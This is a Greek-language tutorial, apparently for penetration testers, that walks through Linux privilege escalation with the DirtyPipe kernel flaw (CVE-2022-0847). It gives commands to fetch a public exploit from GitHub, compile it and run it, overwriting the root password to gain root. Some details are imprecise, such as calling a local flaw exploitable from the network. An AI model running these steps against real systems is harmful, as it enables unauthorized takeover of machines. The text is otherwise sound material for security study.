Συχνά, μετά την επιτυχή παραβίαση ενός συστήματος, περιοριζόμαστε στα προνόμια του χρήστη που έχει παραβιαστεί. Οι απλοί χρήστες στα συστήματα έχουν συνήθως πολύ περιορισμένα δικαιώματα και δεν μπορούν να έχουν πρόσβαση σε πολλούς από τους καταλόγους ή να κάνουν αλλαγές στα συστήματα και τους πόρους τους (βάσεις δεδομένων κ.λπ.). Αυτός είναι ένας από τους πολλούς τρόπους με τους οποίους οι διαχειριστές συστημάτων ασφαλίζουν τα δίκτυά τους.
Παρόλο που έχουν περιορισμένα προνόμια, οι απλοί χρήστες είναι συνήθως πιο εύκολο να παραβιαστούν από τον διαχειριστή του συστήματος, καθώς είναι συνήθως λιγότερο ευαισθητοποιημένοι σε θέματα ασφάλειας. Είναι πιο επιρρεπείς στο να υποκύψουν σε κακόβουλους συνδέσμους και άλλες επιθέσεις κοινωνικής μηχανικής και συχνά χρησιμοποιούν αδύναμους κωδικούς πρόσβασης.
Για όλους αυτούς τους λόγους, είναι πολύ πιο πιθανό να θέσετε σε κίνδυνο έναν απλό χρήστη με περιορισμένα προνόμια παρά έναν διαχειριστή συστήματος με δικαιώματα root.
Για να αναλάβετε τον έλεγχο των συστημάτων και του δικτύου θα πρέπει να κλιμακώσετε τα προνόμια στον διαχειριστή συστήματος του Linux. Υπάρχει μεγάλη ποικιλία τεχνικών για την κλιμάκωση των προνομίων, όπως,
-
Kernel Exploits
-
SUID/SGID misconfigurations
-
sudo
-
commands with escape characters
-
Service Exploits
-
Weak File Permissions
-
Environment Variables
-
Abusing Intended Functionality
Σε αυτό τον οδηγό, θα εξετάσουμε ένα kernel exploit για την κλιμάκωση προνομίων που ονομάζεται DirtyPipe. Δημιουργήθηκε από τον Max Kellerman σαν CVE-2022-0847.
Το DirtyPipe είναι μια τοπική ευπάθεια κλιμάκωσης προνομίων στον πυρήνα του Linux, που επιτρέπει σε έναν hacker μέσα στο τοπικό δίκτυο να παρακάμψει ΟΠΟΙΑΔΗΠΟΤΕ δικαιώματα αρχείων και να γράψει αυθαίρετα δεδομένα σε οποιοδήποτε αρχείο υπό ορισμένες συνθήκες. Αυτό σημαίνει ότι αρχεία όπως το /etc/shadow, όπου αποθηκεύονται hashes στο σύστημα, μπορούν να αντικατασταθούν με έναν νέο κωδικό πρόσβασης.
Table of Contents
Βήμα #1: Δοκιμάζοντας την ευπάθεια
Το πρώτο βήμα είναι να προσδιορίσετε αν ο πυρήνας του Linux σας είναι ευάλωτος στο Dirty Pipe. Σε αυτή την περίπτωση, χρησιμοποιώ το Kali 2021.
Γνωρίζουμε ότι ο πυρήνας Linux μετά την έκδοση 5.8 είναι ευάλωτος και ότι αυτή η ευπάθεια διορθώθηκε στην έκδοση 5.16. Μπορούμε να προσδιορίσουμε ότι η έκδοση του πυρήνα Linux με τη χρήση της εντολής uname στο Linux.
kali > uname -a
Όπως μπορείτε να δείτε, αυτή η έκδοση του Kali χρησιμοποιεί τον πυρήνα Linux 5.10.0. Αυτή μπορεί να την κάνει ευάλωτη στο Dirty Pipe καθώς βρίσκεται μεταξύ της πρώτης ευάλωτης έκδοσης του πυρήνα και των διορθωμένων εκδόσεων του πυρήνα!
Για να είμαστε πιο σίγουροι, ας κατεβάσουμε τον DirtyPipe checker. Είναι διαθέσιμο στη διεύθυνση
https://github.com/basharkey/CVE-2022-0847-dirty-pipe-checker
kali > sudo git clone https://github.com/basharkey/CVE-2022-0847-dirty-pipe-checker
Στη συνέχεια, πλοηγηθείτε στο νέο κατάλογο.
kali> cd CVE-2022-0847-dirty-pipe-checker
Τώρα, εκτελέστε το bash script dpipe.sh
kali > sudo dpipe.sh
Όπως μπορείτε να δείτε παραπάνω, ο ελεγκτής επιβεβαίωσε ότι ο πυρήνας Linux είναι ευάλωτος στην εκμετάλλευση κλιμάκωσης προνομίων Dirty Pipe!
Βήμα #2: Κατεβάστε το Exploit
Τώρα που γνωρίζουμε ότι αυτή η έκδοση Linux είναι ευάλωτη, ας προσπαθήσουμε να την εκμεταλλευτούμε για να αποκτήσουμε δικαιώματα root.
Πρώτα, κατεβάστε το exploit,
kali > sudo git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
Στη συνέχεια, πλοηγηθείτε στο νέο κατάλογο.
Τώρα που βρισκόμαστε σε αυτόν τον κατάλογο, ας ρίξουμε μια ματιά στο εσωτερικό του.
kali > ls -l
Όπως μπορείτε να δείτε παραπάνω, υπάρχουν δύο exploits και ένα compile script. Πρέπει να εκτελέσουμε το script για να χρησιμοποιήσουμε αυτά τα exploits. Το compile script θα μεταγλωττίσει αυτόματα και τα δύο exploits.
kali > sudo ./compile.sh
Αφού το κάνετε αυτό, τα δύο exploits θα γίνουν πράσινα και θα είναι έτοιμα για εκτέλεση.
Ας τρέξουμε πρώτα το exploit-1
kali> sudo ./exploit-1
Φαίνεται ότι λειτούργησε και άλλαξε τον κωδικό πρόσβασης root σε “piped”!
Βήμα #3: Συνδεθείτε ως Root
Ας δοκιμάσουμε τώρα να δούμε αν μπορούμε να συνδεθούμε ως root.
kali> su root
Στη συνέχεια, πληκτρολογήστε το νέο κωδικό πρόσβασης “piped”
Αφού το κάνετε αυτό, εισαγάγετε την εντολή whoami του Linux,
#whoami
root
Για να επιβεβαιώσετε περαιτέρω ότι έχετε δικαιώματα root, δοκιμάστε να εκτελέσετε την εντολή id του Linux
#id
uid=0(root) groups=0(root), ……..
Τελειώσαμε!
Τώρα έχετε δικαιώματα root στο σύστημα και μπορείτε να κάνετε ό,τι θέλετε!
Σύνοψη
Η κλιμάκωση των προνομίων είναι μία από τις βασικές δεξιότητες ενός penetration tester. Σε πολλές περιπτώσεις, εκμεταλλευόμαστε έναν απλό χρήστη χωρίς τα προνόμια που χρειαζόμαστε για να πάρουμε τον έλεγχο του συστήματος/δικτύου. Το kernel exploit του DirtyPipe είναι ένα εξαιρετικό εργαλείο για την κλιμάκωση των προνομίων των συστημάτων Linux που κυκλοφόρησαν περίπου το 2021-2022.